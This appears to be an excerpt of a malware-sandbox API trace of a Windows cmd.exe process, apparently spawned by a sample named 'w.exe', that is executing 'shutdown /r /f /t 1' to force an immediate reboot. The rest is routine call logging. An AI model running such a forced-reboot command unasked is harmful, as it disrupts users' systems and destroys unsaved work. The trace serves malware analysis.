	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 359
	os_tid = 0x8cc

	[0120.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41f900 | out: lpSystemTimeAsFileTime=0x41f900*(dwLowDateTime=0x2c35a4d0, dwHighDateTime=0x1d52dc5)) 
	[0120.526] GetCurrentProcessId () returned 0x8c4
	[0120.526] GetCurrentThreadId () returned 0x8cc
	[0120.526] GetTickCount () returned 0x2d5f3
	[0120.526] QueryPerformanceCounter (in: lpPerformanceCount=0x41f8f8 | out: lpPerformanceCount=0x41f8f8*=24083592813) returned 1
	[0120.527] GetModuleHandleA (lpModuleName=0x0) returned 0x4a1d0000
	[0120.527] __set_app_type (_Type=0x1) 
	[0120.527] __p__fmode () returned 0x74eb31f4
	[0120.527] __p__commode () returned 0x74eb31fc
	[0120.528] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1f21a6) returned 0x0
	[0120.528] __getmainargs (in: _Argc=0x4a1f4238, _Argv=0x4a1f4240, _Env=0x4a1f423c, _DoWildCard=0, _StartInfo=0x4a1f4140 | out: _Argc=0x4a1f4238, _Argv=0x4a1f4240, _Env=0x4a1f423c) returned 0
	[0120.528] GetCurrentThreadId () returned 0x8cc
	[0120.528] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8cc) returned 0x60
	[0120.528] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0120.528] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0120.528] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0120.529] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0120.529] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41f890 | out: phkResult=0x41f890*=0x0) returned 0x2
	[0120.529] VirtualQuery (in: lpAddress=0x41f8c7, lpBuffer=0x41f860, dwLength=0x1c | out: lpBuffer=0x41f860*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0120.529] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41f860, dwLength=0x1c | out: lpBuffer=0x41f860*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0120.529] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41f860, dwLength=0x1c | out: lpBuffer=0x41f860*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0120.529] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41f860, dwLength=0x1c | out: lpBuffer=0x41f860*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0120.529] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41f860, dwLength=0x1c | out: lpBuffer=0x41f860*(BaseAddress=0x420000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0120.529] GetConsoleOutputCP () returned 0x1b5
	[0120.529] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a1f4260 | out: lpCPInfo=0x4a1f4260) returned 1
	[0120.529] SetConsoleCtrlHandler (HandlerRoutine=0x4a1ee72a, Add=1) returned 1
	[0120.529] _get_osfhandle (_FileHandle=1) returned 0xd4
	[0120.529] SetConsoleMode (hConsoleHandle=0xd4, dwMode=0x0) returned 0
	[0120.529] _get_osfhandle (_FileHandle=1) returned 0xd4
	[0120.529] GetConsoleMode (in: hConsoleHandle=0xd4, lpMode=0x4a1f41ac | out: lpMode=0x4a1f41ac) returned 0
	[0120.530] _get_osfhandle (_FileHandle=0) returned 0xcc
	[0120.530] GetConsoleMode (in: hConsoleHandle=0xcc, lpMode=0x4a1f41b0 | out: lpMode=0x4a1f41b0) returned 0
	[0120.530] GetEnvironmentStringsW () returned 0x501ff0*
	[0120.530] GetProcessHeap () returned 0x4f0000
	[0120.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xaca) returned 0x502ac8
	[0120.530] FreeEnvironmentStringsW (penv=0x501ff0) returned 1
	[0120.530] GetProcessHeap () returned 0x4f0000
	[0120.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x500c28
	[0120.530] GetEnvironmentStringsW () returned 0x501ff0*
	[0120.530] GetProcessHeap () returned 0x4f0000
	[0120.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xaca) returned 0x5035a0
	[0120.530] FreeEnvironmentStringsW (penv=0x501ff0) returned 1
	[0120.530] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41e800 | out: phkResult=0x41e800*=0x68) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x0, lpData=0x41e80c*=0x0, lpcbData=0x41e804*=0x1000) returned 0x2
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x1, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x0, lpData=0x41e80c*=0x1, lpcbData=0x41e804*=0x1000) returned 0x2
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x0, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x40, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x40, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x0, lpData=0x41e80c*=0x40, lpcbData=0x41e804*=0x1000) returned 0x2
	[0120.531] RegCloseKey (hKey=0x68) returned 0x0
	[0120.531] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41e800 | out: phkResult=0x41e800*=0x68) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x0, lpData=0x41e80c*=0x40, lpcbData=0x41e804*=0x1000) returned 0x2
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x1, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x0, lpData=0x41e80c*=0x1, lpcbData=0x41e804*=0x1000) returned 0x2
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x0, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x9, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x4, lpData=0x41e80c*=0x9, lpcbData=0x41e804*=0x4) returned 0x0
	[0120.531] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41e808, lpData=0x41e80c, lpcbData=0x41e804*=0x1000 | out: lpType=0x41e808*=0x0, lpData=0x41e80c*=0x9, lpcbData=0x41e804*=0x1000) returned 0x2
	[0120.531] RegCloseKey (hKey=0x68) returned 0x0
	[0120.531] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16307f
	[0120.531] srand (_Seed=0x5d16307f) 
	[0120.531] GetCommandLineW () returned="cmd.exe /c \"shutdown /r /f /t 1\""
	[0120.531] GetCommandLineW () returned="cmd.exe /c \"shutdown /r /f /t 1\""
	[0120.532] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1f5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0120.532] GetProcessHeap () returned 0x4f0000
	[0120.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x210) returned 0x501ff0
	[0120.532] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x501ff8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0120.532] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.532] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.532] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0120.532] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0120.533] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0120.533] GetProcessHeap () returned 0x4f0000
	[0120.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502ac8 | out: hHeap=0x4f0000) returned 1
	[0120.533] GetEnvironmentStringsW () returned 0x502208*
	[0120.533] GetProcessHeap () returned 0x4f0000
	[0120.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xae2) returned 0x504b68
	[0120.533] FreeEnvironmentStringsW (penv=0x502208) returned 1
	[0120.533] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.533] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.533] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0120.533] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0120.533] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0120.533] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0120.533] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0120.533] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0120.533] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0120.533] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0120.533] GetProcessHeap () returned 0x4f0000
	[0120.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x54) returned 0x505658
	[0120.533] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41f5cc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0120.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41f5cc, lpFilePart=0x41f5c8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f5c8*="Desktop") returned 0x25
	[0120.533] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0120.533] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f348 | out: lpFindFileData=0x41f348*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcc2ec70, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0xcc2ec70, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x501e70
	[0120.534] FindClose (in: hFindFile=0x501e70 | out: hFindFile=0x501e70) returned 1
	[0120.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f348 | out: lpFindFileData=0x41f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcc58480, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0xcc58480, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x501e70
	[0120.534] FindClose (in: hFindFile=0x501e70 | out: hFindFile=0x501e70) returned 1
	[0120.534] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0120.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f348 | out: lpFindFileData=0x41f348*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfeb8c40, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0xfeb8c40, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x501e70
	[0120.534] FindClose (in: hFindFile=0x501e70 | out: hFindFile=0x501e70) returned 1
	[0120.534] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0120.534] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0120.534] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0120.534] GetProcessHeap () returned 0x4f0000
	[0120.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504b68 | out: hHeap=0x4f0000) returned 1
	[0120.535] GetEnvironmentStringsW () returned 0x504078*
	[0120.535] GetProcessHeap () returned 0x4f0000
	[0120.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb36) returned 0x505eb8
	[0120.535] FreeEnvironmentStringsW (penv=0x504078) returned 1
	[0120.535] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1f5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0120.535] GetProcessHeap () returned 0x4f0000
	[0120.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505658 | out: hHeap=0x4f0000) returned 1
	[0120.535] GetProcessHeap () returned 0x4f0000
	[0120.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400e) returned 0x5069f8
	[0120.535] GetProcessHeap () returned 0x4f0000
	[0120.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x38) returned 0x501e70
	[0120.535] GetProcessHeap () returned 0x4f0000
	[0120.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4008) returned 0x50aa10
	[0120.536] GetProcessHeap () returned 0x4f0000
	[0120.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4008) returned 0x50ea20
	[0120.538] _wcsnicmp (_String1="shut", _String2="cmd ", _MaxCount=0x4) returned 16
	[0120.538] GetProcessHeap () returned 0x4f0000
	[0120.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x418) returned 0x502d48
	[0120.538] SetErrorMode (uMode=0x0) returned 0x8003
	[0120.538] SetErrorMode (uMode=0x1) returned 0x0
	[0120.538] GetFullPathNameW (in: lpFileName="shutdown \\r \\f \\.", nBufferLength=0x208, lpBuffer=0x502d50, lpFilePart=0x41f544 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\shutdown \\r \\f", lpFilePart=0x41f544*="f") returned 0x34
	[0120.538] SetErrorMode (uMode=0x8003) returned 0x1
	[0120.538] GetProcessHeap () returned 0x4f0000
	[0120.538] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x502d48, Size=0x7a) returned 0x502d48
	[0120.538] GetProcessHeap () returned 0x4f0000
	[0120.538] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x502d48) returned 0x7a
	[0120.538] NeedCurrentDirectoryForExePathW (ExeName="shutdown \\r \\f \\.") returned 1
	[0120.538] GetProcessHeap () returned 0x4f0000
	[0120.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x78) returned 0x512a48
	[0120.539] GetProcessHeap () returned 0x4f0000
	[0120.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe4) returned 0x502dd0
	[0120.539] GetProcessHeap () returned 0x4f0000
	[0120.539] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x502dd0, Size=0x78) returned 0x502dd0
	[0120.539] GetProcessHeap () returned 0x4f0000
	[0120.539] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x502dd0) returned 0x78
	[0120.539] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a200640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.539] GetProcessHeap () returned 0x4f0000
	[0120.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x502e50
	[0120.542] GetProcessHeap () returned 0x4f0000
	[0120.542] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x502e50, Size=0x76) returned 0x502e50
	[0120.542] GetProcessHeap () returned 0x4f0000
	[0120.542] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x502e50) returned 0x76
	[0120.542] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.543] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\shutdown \\r \\f\\t 1.*", fInfoLevelId=0x1, lpFindFileData=0x41f2c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f2c0) returned 0xffffffff
	[0120.543] GetLastError () returned 0x3
	[0120.543] GetProcessHeap () returned 0x4f0000
	[0120.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aa10 | out: hHeap=0x4f0000) returned 1
	[0120.543] GetProcessHeap () returned 0x4f0000
	[0120.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ea20 | out: hHeap=0x4f0000) returned 1
	[0120.543] GetProcessHeap () returned 0x4f0000
	[0120.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5069f8 | out: hHeap=0x4f0000) returned 1
	[0120.543] GetConsoleOutputCP () returned 0x1b5
	[0120.543] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a1f4260 | out: lpCPInfo=0x4a1f4260) returned 1
	[0120.543] GetUserDefaultLCID () returned 0x409
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a1f4950, cchData=8 | out: lpLCData=":") returned 2
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41f70c, cchData=128 | out: lpLCData="0") returned 2
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41f70c, cchData=128 | out: lpLCData="0") returned 2
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41f70c, cchData=128 | out: lpLCData="1") returned 2
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a1f4940, cchData=8 | out: lpLCData="/") returned 2
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a1f4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a1f4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a1f4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a1f4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a1f4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a1f4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a1f4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a1f4930, cchData=8 | out: lpLCData=".") returned 2
	[0120.544] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a1f4920, cchData=8 | out: lpLCData=",") returned 2
	[0120.545] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0120.546] GetProcessHeap () returned 0x4f0000
	[0120.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20c) returned 0x502f08
	[0120.546] GetConsoleTitleW (in: lpConsoleTitle=0x502f08, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0120.546] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0120.546] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0120.546] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0120.546] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0120.547] GetProcessHeap () returned 0x4f0000
	[0120.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x5069f8
	[0120.547] GetProcessHeap () returned 0x4f0000
	[0120.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5069f8 | out: hHeap=0x4f0000) returned 1
	[0120.547] _wcsicmp (_String1="shutdown", _String2=")") returned 74
	[0120.548] _wcsicmp (_String1="FOR", _String2="shutdown") returned -13
	[0120.548] _wcsicmp (_String1="FOR/?", _String2="shutdown") returned -13
	[0120.548] _wcsicmp (_String1="IF", _String2="shutdown") returned -10
	[0120.548] _wcsicmp (_String1="IF/?", _String2="shutdown") returned -10
	[0120.548] _wcsicmp (_String1="REM", _String2="shutdown") returned -1
	[0120.548] _wcsicmp (_String1="REM/?", _String2="shutdown") returned -1
	[0120.548] GetProcessHeap () returned 0x4f0000
	[0120.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x58) returned 0x503120
	[0120.548] GetProcessHeap () returned 0x4f0000
	[0120.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1a) returned 0x5056f8
	[0120.548] GetProcessHeap () returned 0x4f0000
	[0120.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x20) returned 0x505720
	[0120.549] GetConsoleTitleW (in: lpConsoleTitle=0x41f404, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0120.549] _wcsicmp (_String1="shutdown", _String2="DIR") returned 15
	[0120.549] _wcsicmp (_String1="shutdown", _String2="ERASE") returned 14
	[0120.549] _wcsicmp (_String1="shutdown", _String2="DEL") returned 15
	[0120.549] _wcsicmp (_String1="shutdown", _String2="TYPE") returned -1
	[0120.549] _wcsicmp (_String1="shutdown", _String2="COPY") returned 16
	[0120.549] _wcsicmp (_String1="shutdown", _String2="CD") returned 16
	[0120.549] _wcsicmp (_String1="shutdown", _String2="CHDIR") returned 16
	[0120.549] _wcsicmp (_String1="shutdown", _String2="RENAME") returned 1
	[0120.550] _wcsicmp (_String1="shutdown", _String2="REN") returned 1
	[0120.550] _wcsicmp (_String1="shutdown", _String2="ECHO") returned 14
	[0120.550] _wcsicmp (_String1="shutdown", _String2="SET") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="PAUSE") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="DATE") returned 15
	[0120.550] _wcsicmp (_String1="shutdown", _String2="TIME") returned -1
	[0120.550] _wcsicmp (_String1="shutdown", _String2="PROMPT") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="MD") returned 6
	[0120.550] _wcsicmp (_String1="shutdown", _String2="MKDIR") returned 6
	[0120.550] _wcsicmp (_String1="shutdown", _String2="RD") returned 1
	[0120.550] _wcsicmp (_String1="shutdown", _String2="RMDIR") returned 1
	[0120.550] _wcsicmp (_String1="shutdown", _String2="PATH") returned 3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="GOTO") returned 12
	[0120.550] _wcsicmp (_String1="shutdown", _String2="SHIFT") returned 12
	[0120.550] _wcsicmp (_String1="shutdown", _String2="CLS") returned 16
	[0120.550] _wcsicmp (_String1="shutdown", _String2="CALL") returned 16
	[0120.550] _wcsicmp (_String1="shutdown", _String2="VERIFY") returned -3
	[0120.550] _wcsicmp (_String1="shutdown", _String2="VER") returned -3
